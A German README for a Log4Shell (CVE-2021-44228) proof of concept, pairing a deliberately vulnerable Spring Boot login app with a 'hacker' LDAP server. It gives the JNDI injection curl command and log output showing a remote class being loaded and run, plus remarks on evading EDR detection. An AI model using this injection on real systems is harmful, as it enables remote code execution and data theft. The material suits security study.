
log4j2 Log4Shell CVE-2021-44228 Proof of Concept
Einfache Spring Boot-Anwendung, die eine Login-Seite mit Benutzername und Passwort bereitstellt. Sie protokolliert den Benutzernamen, wenn ein POST an / gesendet wird. Es ist nicht erforderlich, dass die Anwendung eine vom Benutzer bereitgestellte Eingabe protokolliert. Es reicht aus, das Zugriffsprotokoll zu aktivieren, das eine anfällige Version von log4j2 verwendet.
So wird's ausgeführt:
cd exploitable
../mvnw -q spring-boot:run
Standardmäßig hört es auf Port 8080. Wenn Sie http://localhost:8080/ im Browser aufrufen, sollten Sie etwa Folgendes sehen:
In pom.xml werden Sie die JVM-Eigenschaft bemerken:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
Dies ist in älteren Versionen des JDK nicht erforderlich. Der Standardwert wurde in folgenden Versionen auf false geändert: JDK 11.0.1, 8u191, 7u201 und 6u211. Auch ohne diese Eigenschaft ist die Anwendung anfällig für erste LDAP-Anfragen, die sensible Daten exfiltrieren können.

Hacker-Anwendung, die zwei Zwecke erfüllt:
So wird's ausgeführt:
cd hacker
../mvnw -q spring-boot:run
In pom.xml können Sie den Standard-Payload ändern, der an exploitable-Anwendungen gesendet wird:
--class=SayHello ist der Standard, was bedeutet, dass SayHello.class als Payload gesendet wird.
Senden Sie eine curl-Anfrage an die Exploit-Anwendung, die sich in einem der vom Benutzer bereitgestellten Eingabefelder (Benutzername) auf den Hacker-LDAP-Server bezieht:
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/
In der Konsole der exploitable-Anwendung sollten Sie etwa Folgendes sehen:

${jndi:ldap://127.0.0.1:1389} gesendet127.0.0.1:1389 durchdn:
objectClass: javaNamingReference
javaClassName: SayHello
javaCodeBase: http://127.0.0.1:9090/
javaFactory: SayHello
SayHello.class zurückgetObjectInstance in der Exploit-Klasse ausNach der ersten LDAP-Anfrage und möglicherweise dem Herunterladen der Exploit-Java-Klasse ist es für den Exploit nicht erforderlich, einen Prozess abzuzweigen oder eine zusätzliche Verbindung zum Internet herzustellen. Typischerweise können solche Exploits von EDR-Produkten usw. leicht erkannt werden. Ich vermute, dass neue Exploit-Payloads nativ in Java implementiert werden, um der Erkennung zu entgehen.